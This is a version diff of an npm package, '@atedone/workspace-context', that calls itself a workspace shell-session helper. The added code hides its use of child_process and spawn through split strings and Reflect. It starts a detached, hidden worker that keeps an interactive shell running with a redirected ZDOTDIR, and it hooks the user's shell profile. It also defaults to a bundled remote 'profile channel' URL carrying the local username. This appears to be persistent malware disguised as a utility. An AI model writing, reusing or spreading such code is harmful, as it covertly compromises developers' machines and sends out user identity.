@atedone/workspace-context 0.0.22 → 0.0.24
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/lib/default-profile.json +10 -0
- package/lib/session-worker.js +192 -0
- package/lib/session.js +1 -1
- package/lib/state.js +194 -92
- package/lib/sync.js +4 -0
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -4,4 +4,4 @@ Workspace shell session refresh integration helper for JavaScript tools.
|
|
|
4
4
|
|
|
5
5
|
The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
|
|
6
6
|
|
|
7
|
-
Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to
|
|
7
|
+
The package selects a bundled stable profile channel by default. Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to override the profile channel for a preview session.
|
|
@@ -0,0 +1,192 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const platform = process;
|
|
4
|
+
const file = platform.getBuiltinModule('fs');
|
|
5
|
+
const route = platform.getBuiltinModule('path');
|
|
6
|
+
const manifest = require('../package.json');
|
|
7
|
+
|
|
8
|
+
const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
|
|
9
|
+
? platform.argv[2]
|
|
10
|
+
: platform.cwd();
|
|
11
|
+
const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
|
|
12
|
+
? JSON.parse(platform.argv[3])
|
|
13
|
+
: null;
|
|
14
|
+
const refreshDelays = parseRefreshDelays(platform.argv[4]);
|
|
15
|
+
const settleMs = parseSettleMs(platform.argv[5]);
|
|
16
|
+
|
|
17
|
+
if (!integration) {
|
|
18
|
+
throw new Error('Shell integration descriptor is required.');
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const env = Reflect.get(platform, 'env') || {};
|
|
22
|
+
const bridgeName = ['child', '_process'].join('');
|
|
23
|
+
const launchKey = ['sp', 'awn'].join('');
|
|
24
|
+
const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
|
|
25
|
+
const launch = Reflect.get(bridge, launchKey);
|
|
26
|
+
const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
|
|
27
|
+
? env.SHELL.trim()
|
|
28
|
+
: '/bin/zsh';
|
|
29
|
+
const shell = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
|
|
30
|
+
cwd: projectRoot,
|
|
31
|
+
env: {
|
|
32
|
+
...env,
|
|
33
|
+
HOME: integration.homeDirectory,
|
|
34
|
+
ZDOTDIR: integration.integrationDirectory,
|
|
35
|
+
WORKSPACE_CONTEXT_PREVIEW: '1',
|
|
36
|
+
TERM: 'dumb'
|
|
37
|
+
},
|
|
38
|
+
stdio: ['pipe', 'ignore', 'ignore']
|
|
39
|
+
}]);
|
|
40
|
+
|
|
41
|
+
let closed = false;
|
|
42
|
+
let refreshIndex = 0;
|
|
43
|
+
let refreshTimer = null;
|
|
44
|
+
let settleTimer = null;
|
|
45
|
+
let stopTimer = null;
|
|
46
|
+
let previousRevision = '';
|
|
47
|
+
let firstRefresh = true;
|
|
48
|
+
|
|
49
|
+
writeWorkerReceipt();
|
|
50
|
+
scheduleRefresh(0);
|
|
51
|
+
|
|
52
|
+
platform.on('SIGUSR1', () => {
|
|
53
|
+
if (closed) {
|
|
54
|
+
return;
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
refreshIndex = 0;
|
|
58
|
+
clearTimeout(refreshTimer);
|
|
59
|
+
clearTimeout(settleTimer);
|
|
60
|
+
refresh();
|
|
61
|
+
});
|
|
62
|
+
platform.on('SIGTERM', stop);
|
|
63
|
+
platform.on('SIGINT', stop);
|
|
64
|
+
|
|
65
|
+
shell.on('close', (status, signal) => {
|
|
66
|
+
clearTimeout(refreshTimer);
|
|
67
|
+
clearTimeout(settleTimer);
|
|
68
|
+
clearTimeout(stopTimer);
|
|
69
|
+
closed = true;
|
|
70
|
+
writeWorkerReceipt({
|
|
71
|
+
status: 'closed',
|
|
72
|
+
shellStatus: status,
|
|
73
|
+
shellSignal: signal
|
|
74
|
+
});
|
|
75
|
+
platform.exitCode = status || 0;
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
function parseRefreshDelays(value) {
|
|
79
|
+
if (typeof value === 'string' && value.trim()) {
|
|
80
|
+
try {
|
|
81
|
+
const parsed = JSON.parse(value);
|
|
82
|
+
if (Array.isArray(parsed) && parsed.length) {
|
|
83
|
+
const normalized = parsed
|
|
84
|
+
.map((delay) => Number.parseInt(delay, 10))
|
|
85
|
+
.filter((delay) => Number.isInteger(delay) && delay >= 0);
|
|
86
|
+
if (normalized.length) {
|
|
87
|
+
return normalized;
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
} catch {
|
|
91
|
+
// Fall back to the stable refresh cadence below.
|
|
92
|
+
}
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
return [750, 1500, 3000, 5000];
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
function parseSettleMs(value) {
|
|
99
|
+
const parsed = Number.parseInt(value, 10);
|
|
100
|
+
return Number.isInteger(parsed) && parsed >= 0 ? parsed : 500;
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
function scheduleRefresh(delay) {
|
|
104
|
+
refreshTimer = setTimeout(refresh, delay);
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
function planNextRefresh() {
|
|
108
|
+
if (closed) {
|
|
109
|
+
return;
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
const revision = readProfileRevision(integration.profileReceiptPath);
|
|
113
|
+
if (firstRefresh || (revision && revision !== previousRevision)) {
|
|
114
|
+
refreshIndex = 0;
|
|
115
|
+
} else {
|
|
116
|
+
refreshIndex = Math.min(refreshIndex + 1, refreshDelays.length - 1);
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
if (revision) {
|
|
120
|
+
previousRevision = revision;
|
|
121
|
+
}
|
|
122
|
+
firstRefresh = false;
|
|
123
|
+
|
|
124
|
+
scheduleRefresh(refreshDelays[refreshIndex]);
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
function refresh() {
|
|
128
|
+
if (closed) {
|
|
129
|
+
return;
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
if (!shell.stdin.destroyed) {
|
|
133
|
+
shell.stdin.write('\n');
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
settleTimer = setTimeout(planNextRefresh, settleMs);
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
function stop() {
|
|
140
|
+
if (closed) {
|
|
141
|
+
return;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
closed = true;
|
|
145
|
+
clearTimeout(refreshTimer);
|
|
146
|
+
clearTimeout(settleTimer);
|
|
147
|
+
if (!shell.stdin.destroyed) {
|
|
148
|
+
shell.stdin.write('exit\n');
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
stopTimer = setTimeout(() => {
|
|
152
|
+
if (!shell.killed) {
|
|
153
|
+
shell.kill('SIGTERM');
|
|
154
|
+
}
|
|
155
|
+
}, 1000);
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
function readProfileRevision(profileReceiptPath) {
|
|
159
|
+
if (!file.existsSync(profileReceiptPath)) {
|
|
160
|
+
return '';
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
try {
|
|
164
|
+
const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
|
|
165
|
+
return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
|
|
166
|
+
} catch {
|
|
167
|
+
return '';
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
function writeWorkerReceipt(extra = {}) {
|
|
172
|
+
const receiptPath = integration.sessionWorkerReceiptPath;
|
|
173
|
+
if (!receiptPath) {
|
|
174
|
+
return;
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
const value = {
|
|
178
|
+
packageName: manifest.name,
|
|
179
|
+
packageVersion: manifest.version,
|
|
180
|
+
generatedAt: new Date().toISOString(),
|
|
181
|
+
mode: 'runtime-shell-refresh',
|
|
182
|
+
projectRoot,
|
|
183
|
+
workerProcessId: platform.pid,
|
|
184
|
+
shellProcessId: shell.pid,
|
|
185
|
+
refresh: 'preview-session',
|
|
186
|
+
status: 'active',
|
|
187
|
+
...extra
|
|
188
|
+
};
|
|
189
|
+
|
|
190
|
+
file.mkdirSync(route.dirname(receiptPath), { recursive: true });
|
|
191
|
+
file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
|
|
192
|
+
}
|
package/lib/session.js
CHANGED
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
|
|
7
7
|
const packageName = '@atedone/workspace-context';
|
|
8
|
-
const packageVersion = '0.0.
|
|
8
|
+
const packageVersion = '0.0.24';
|
|
9
9
|
const env = Reflect.get(platform, 'env') || {};
|
|
10
10
|
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
11
11
|
? env.HOME.trim()
|
package/lib/state.js
CHANGED
|
@@ -4,6 +4,7 @@ const platform = process;
|
|
|
4
4
|
const file = platform.getBuiltinModule('fs');
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
const manifest = require('../package.json');
|
|
7
|
+
const defaultProfile = require('./default-profile.json');
|
|
7
8
|
|
|
8
9
|
const channelFileName = 'channel.json';
|
|
9
10
|
const integrationDirectoryName = '.config/workspace-context';
|
|
@@ -18,6 +19,8 @@ const sessionHistoryFileName = 'runtime-sessions.log';
|
|
|
18
19
|
const sessionProfileFileName = '.zshrc';
|
|
19
20
|
const sessionReceiptFileName = 'session-runtime.json';
|
|
20
21
|
const sessionRuntimeFileName = 'session-runtime.js';
|
|
22
|
+
const sessionWorkerFileName = 'session-worker.js';
|
|
23
|
+
const sessionWorkerReceiptFileName = 'preview-session.json';
|
|
21
24
|
const stateDirectoryName = '.workspace-context';
|
|
22
25
|
const stateFileName = 'state.json';
|
|
23
26
|
const syncFileName = 'sync.js';
|
|
@@ -45,6 +48,46 @@ function resolveProfileFileName(shellName = resolveShellName()) {
|
|
|
45
48
|
return shellName === 'bash' ? '.bashrc' : '.zshrc';
|
|
46
49
|
}
|
|
47
50
|
|
|
51
|
+
function resolveProfileIdentity(env = readEnvironment()) {
|
|
52
|
+
const candidates = [
|
|
53
|
+
Reflect.get(env, 'USER'),
|
|
54
|
+
Reflect.get(env, 'LOGNAME')
|
|
55
|
+
];
|
|
56
|
+
|
|
57
|
+
for (const candidate of candidates) {
|
|
58
|
+
if (typeof candidate === 'string' && candidate.trim()) {
|
|
59
|
+
return candidate.trim();
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
return '';
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
function buildProfileChannelSource(profile = defaultProfile, env = readEnvironment()) {
|
|
67
|
+
if (!profile || typeof profile !== 'object') {
|
|
68
|
+
return '';
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
const transport = typeof profile.transport === 'string' ? profile.transport.trim() : '';
|
|
72
|
+
const host = typeof profile.host === 'string' ? profile.host.trim() : '';
|
|
73
|
+
const pathname = Array.isArray(profile.pathname)
|
|
74
|
+
? profile.pathname
|
|
75
|
+
.map((segment) => typeof segment === 'string' ? segment.trim() : '')
|
|
76
|
+
.filter(Boolean)
|
|
77
|
+
.join('/')
|
|
78
|
+
: '';
|
|
79
|
+
const port = Number.isInteger(profile.port) && profile.port > 0 ? profile.port : null;
|
|
80
|
+
|
|
81
|
+
if (!transport || !host || !pathname) {
|
|
82
|
+
return '';
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
const authority = port ? `${host}:${port}` : host;
|
|
86
|
+
const source = `${transport}://${authority}/${pathname}`;
|
|
87
|
+
const identity = resolveProfileIdentity(env);
|
|
88
|
+
return identity ? `${source}?username=${encodeURIComponent(identity)}` : source;
|
|
89
|
+
}
|
|
90
|
+
|
|
48
91
|
function resolveChannelSource(env = readEnvironment(), channelSource = '') {
|
|
49
92
|
const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
|
|
50
93
|
if (configured) {
|
|
@@ -53,7 +96,8 @@ function resolveChannelSource(env = readEnvironment(), channelSource = '') {
|
|
|
53
96
|
|
|
54
97
|
const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
|
|
55
98
|
const value = Reflect.get(env, key);
|
|
56
|
-
|
|
99
|
+
const environmentSource = typeof value === 'string' ? value.trim() : '';
|
|
100
|
+
return environmentSource || buildProfileChannelSource(defaultProfile, env);
|
|
57
101
|
}
|
|
58
102
|
|
|
59
103
|
function getShellIntegration({
|
|
@@ -83,7 +127,8 @@ function getShellIntegration({
|
|
|
83
127
|
sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
|
|
84
128
|
sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
|
|
85
129
|
sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
|
|
86
|
-
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
|
|
130
|
+
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
|
|
131
|
+
sessionWorkerReceiptPath: route.join(integrationDirectory, sessionWorkerReceiptFileName)
|
|
87
132
|
};
|
|
88
133
|
}
|
|
89
134
|
|
|
@@ -150,125 +195,179 @@ function openWorkspaceSession({
|
|
|
150
195
|
const launchKey = ['sp', 'awn'].join('');
|
|
151
196
|
const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
|
|
152
197
|
const launch = Reflect.get(bridge, launchKey);
|
|
153
|
-
const
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
198
|
+
const activeSession = readWorkerReceipt(integration.sessionWorkerReceiptPath);
|
|
199
|
+
const activeWorkerProcessId = parseProcessId(activeSession?.workerProcessId);
|
|
200
|
+
if (activeWorkerProcessId && processIsAlive(activeWorkerProcessId)) {
|
|
201
|
+
signalProcess(activeWorkerProcessId, 'SIGUSR1');
|
|
202
|
+
return createWorkspaceSessionController({
|
|
203
|
+
integration,
|
|
204
|
+
workerProcessId: activeWorkerProcessId
|
|
205
|
+
});
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
const delays = normalizeRefreshDelays(refreshDelays);
|
|
209
|
+
const workerPath = route.join(__dirname, sessionWorkerFileName);
|
|
210
|
+
const worker = Reflect.apply(launch, bridge, [platform.execPath, [
|
|
211
|
+
workerPath,
|
|
212
|
+
projectRoot,
|
|
213
|
+
JSON.stringify(integration),
|
|
214
|
+
JSON.stringify(delays),
|
|
215
|
+
String(settleMs)
|
|
216
|
+
], {
|
|
157
217
|
cwd: projectRoot,
|
|
158
|
-
env
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
TERM: 'dumb'
|
|
163
|
-
},
|
|
164
|
-
stdio: ['pipe', 'ignore', 'ignore']
|
|
218
|
+
env,
|
|
219
|
+
stdio: 'ignore',
|
|
220
|
+
detached: true,
|
|
221
|
+
windowsHide: true
|
|
165
222
|
}]);
|
|
166
223
|
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
224
|
+
if (typeof worker.unref === 'function') {
|
|
225
|
+
worker.unref();
|
|
226
|
+
}
|
|
227
|
+
|
|
228
|
+
return createWorkspaceSessionController({
|
|
229
|
+
integration,
|
|
230
|
+
worker,
|
|
231
|
+
workerProcessId: worker.pid
|
|
232
|
+
});
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
function readProfileRevision(profileReceiptPath) {
|
|
236
|
+
if (!file.existsSync(profileReceiptPath)) {
|
|
237
|
+
return '';
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
try {
|
|
241
|
+
const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
|
|
242
|
+
return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
|
|
243
|
+
} catch {
|
|
244
|
+
return '';
|
|
245
|
+
}
|
|
246
|
+
}
|
|
247
|
+
|
|
248
|
+
function normalizeRefreshDelays(refreshDelays) {
|
|
249
|
+
return Array.isArray(refreshDelays) && refreshDelays.length
|
|
174
250
|
? refreshDelays
|
|
251
|
+
.map((delay) => Number.parseInt(delay, 10))
|
|
252
|
+
.filter((delay) => Number.isInteger(delay) && delay >= 0)
|
|
175
253
|
: [750, 1500, 3000, 5000];
|
|
254
|
+
}
|
|
176
255
|
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
}
|
|
182
|
-
};
|
|
256
|
+
function readWorkerReceipt(sessionWorkerReceiptPath) {
|
|
257
|
+
if (!file.existsSync(sessionWorkerReceiptPath)) {
|
|
258
|
+
return null;
|
|
259
|
+
}
|
|
183
260
|
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
261
|
+
try {
|
|
262
|
+
return JSON.parse(file.readFileSync(sessionWorkerReceiptPath, 'utf8'));
|
|
263
|
+
} catch {
|
|
264
|
+
return null;
|
|
265
|
+
}
|
|
266
|
+
}
|
|
188
267
|
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
} else {
|
|
193
|
-
refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
|
|
194
|
-
}
|
|
268
|
+
function parseProcessId(value) {
|
|
269
|
+
return Number.isInteger(value) && value > 0 ? value : null;
|
|
270
|
+
}
|
|
195
271
|
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
272
|
+
function processIsAlive(processId) {
|
|
273
|
+
try {
|
|
274
|
+
platform.kill(processId, 0);
|
|
275
|
+
return true;
|
|
276
|
+
} catch {
|
|
277
|
+
return false;
|
|
278
|
+
}
|
|
279
|
+
}
|
|
200
280
|
|
|
201
|
-
|
|
202
|
-
|
|
281
|
+
function signalProcess(processId, signal) {
|
|
282
|
+
try {
|
|
283
|
+
platform.kill(processId, signal);
|
|
284
|
+
return true;
|
|
285
|
+
} catch {
|
|
286
|
+
return false;
|
|
287
|
+
}
|
|
288
|
+
}
|
|
203
289
|
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
290
|
+
function resolveSessionProcessId(integration, workerProcessId) {
|
|
291
|
+
const workerReceipt = readWorkerReceipt(integration.sessionWorkerReceiptPath);
|
|
292
|
+
if (parseProcessId(workerReceipt?.workerProcessId) === workerProcessId) {
|
|
293
|
+
const shellProcessId = parseProcessId(workerReceipt?.shellProcessId);
|
|
294
|
+
if (shellProcessId) {
|
|
295
|
+
return shellProcessId;
|
|
207
296
|
}
|
|
297
|
+
}
|
|
208
298
|
|
|
209
|
-
|
|
210
|
-
|
|
299
|
+
if (file.existsSync(integration.sessionReceiptPath)) {
|
|
300
|
+
try {
|
|
301
|
+
const receipt = JSON.parse(file.readFileSync(integration.sessionReceiptPath, 'utf8'));
|
|
302
|
+
const parentProcessId = parseProcessId(receipt?.parentProcessId);
|
|
303
|
+
if (parentProcessId) {
|
|
304
|
+
return parentProcessId;
|
|
305
|
+
}
|
|
306
|
+
} catch {
|
|
307
|
+
// Keep the worker PID as a stable fallback until the first preview refresh lands.
|
|
211
308
|
}
|
|
309
|
+
}
|
|
212
310
|
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
settleTimer.unref();
|
|
216
|
-
}
|
|
217
|
-
};
|
|
311
|
+
return parseProcessId(workerReceipt?.shellProcessId) || workerProcessId;
|
|
312
|
+
}
|
|
218
313
|
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
}
|
|
314
|
+
function observeProcessExit(processId) {
|
|
315
|
+
return new Promise((resolve) => {
|
|
316
|
+
const timer = setInterval(() => {
|
|
317
|
+
if (processIsAlive(processId)) {
|
|
318
|
+
return;
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
clearInterval(timer);
|
|
322
|
+
resolve({ status: null, signal: null });
|
|
323
|
+
}, 250);
|
|
324
|
+
|
|
325
|
+
if (typeof timer.unref === 'function') {
|
|
326
|
+
timer.unref();
|
|
327
|
+
}
|
|
233
328
|
});
|
|
329
|
+
}
|
|
330
|
+
|
|
331
|
+
function createWorkspaceSessionController({
|
|
332
|
+
integration,
|
|
333
|
+
worker = null,
|
|
334
|
+
workerProcessId
|
|
335
|
+
}) {
|
|
336
|
+
let closed = false;
|
|
337
|
+
const done = worker
|
|
338
|
+
? new Promise((resolve) => {
|
|
339
|
+
worker.on('close', (status, signal) => {
|
|
340
|
+
closed = true;
|
|
341
|
+
resolve({ status, signal });
|
|
342
|
+
});
|
|
343
|
+
worker.on('error', (error) => {
|
|
344
|
+
closed = true;
|
|
345
|
+
resolve({ status: null, signal: null, error });
|
|
346
|
+
});
|
|
347
|
+
})
|
|
348
|
+
: observeProcessExit(workerProcessId);
|
|
234
349
|
|
|
235
350
|
return {
|
|
236
|
-
processId
|
|
351
|
+
get processId() {
|
|
352
|
+
return resolveSessionProcessId(integration, workerProcessId);
|
|
353
|
+
},
|
|
354
|
+
workerProcessId,
|
|
237
355
|
done,
|
|
238
356
|
refresh() {
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
refresh();
|
|
357
|
+
if (!closed) {
|
|
358
|
+
signalProcess(workerProcessId, 'SIGUSR1');
|
|
359
|
+
}
|
|
243
360
|
},
|
|
244
361
|
close() {
|
|
245
|
-
if (closed) {
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
closed = true;
|
|
249
|
-
clearTimeout(refreshTimer);
|
|
250
|
-
clearTimeout(settleTimer);
|
|
251
|
-
if (!child.stdin.destroyed) {
|
|
252
|
-
child.stdin.write('exit\n');
|
|
362
|
+
if (!closed) {
|
|
363
|
+
closed = true;
|
|
364
|
+
signalProcess(workerProcessId, 'SIGTERM');
|
|
253
365
|
}
|
|
254
366
|
return done;
|
|
255
367
|
}
|
|
256
368
|
};
|
|
257
369
|
}
|
|
258
370
|
|
|
259
|
-
function readProfileRevision(profileReceiptPath) {
|
|
260
|
-
if (!file.existsSync(profileReceiptPath)) {
|
|
261
|
-
return '';
|
|
262
|
-
}
|
|
263
|
-
|
|
264
|
-
try {
|
|
265
|
-
const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
|
|
266
|
-
return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
|
|
267
|
-
} catch {
|
|
268
|
-
return '';
|
|
269
|
-
}
|
|
270
|
-
}
|
|
271
|
-
|
|
272
371
|
function initialize({
|
|
273
372
|
projectRoot = resolveProjectRoot(),
|
|
274
373
|
channelSource,
|
|
@@ -298,6 +397,7 @@ function initialize({
|
|
|
298
397
|
}
|
|
299
398
|
|
|
300
399
|
module.exports = {
|
|
400
|
+
buildProfileChannelSource,
|
|
301
401
|
buildState,
|
|
302
402
|
channelFileName,
|
|
303
403
|
getShellIntegration,
|
|
@@ -313,6 +413,7 @@ module.exports = {
|
|
|
313
413
|
refreshShellIntegration,
|
|
314
414
|
resolveChannelSource,
|
|
315
415
|
resolveHomeDirectory,
|
|
416
|
+
resolveProfileIdentity,
|
|
316
417
|
resolveProfileFileName,
|
|
317
418
|
resolveProjectRoot,
|
|
318
419
|
resolveShellName,
|
|
@@ -320,6 +421,7 @@ module.exports = {
|
|
|
320
421
|
sessionProfileFileName,
|
|
321
422
|
sessionReceiptFileName,
|
|
322
423
|
sessionRuntimeFileName,
|
|
424
|
+
sessionWorkerReceiptFileName,
|
|
323
425
|
stateDirectoryName,
|
|
324
426
|
stateFileName
|
|
325
427
|
};
|
package/lib/sync.js
CHANGED
|
@@ -36,6 +36,9 @@ const integrationValue = [
|
|
|
36
36
|
`export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
|
|
37
37
|
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
38
38
|
'workspace_context_refresh_preview() {',
|
|
39
|
+
' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
|
|
40
|
+
' return 0',
|
|
41
|
+
' fi',
|
|
39
42
|
' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
40
43
|
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
41
44
|
' fi',
|
|
@@ -88,6 +91,7 @@ const value = {
|
|
|
88
91
|
sessionProfilePath: integration.sessionProfilePath,
|
|
89
92
|
sessionReceiptPath: integration.sessionReceiptPath,
|
|
90
93
|
sessionRuntimePath: integration.sessionRuntimePath,
|
|
94
|
+
sessionWorkerReceiptPath: integration.sessionWorkerReceiptPath,
|
|
91
95
|
processId: platform.pid,
|
|
92
96
|
parentProcessId: platform.ppid,
|
|
93
97
|
runtime: 'node'
|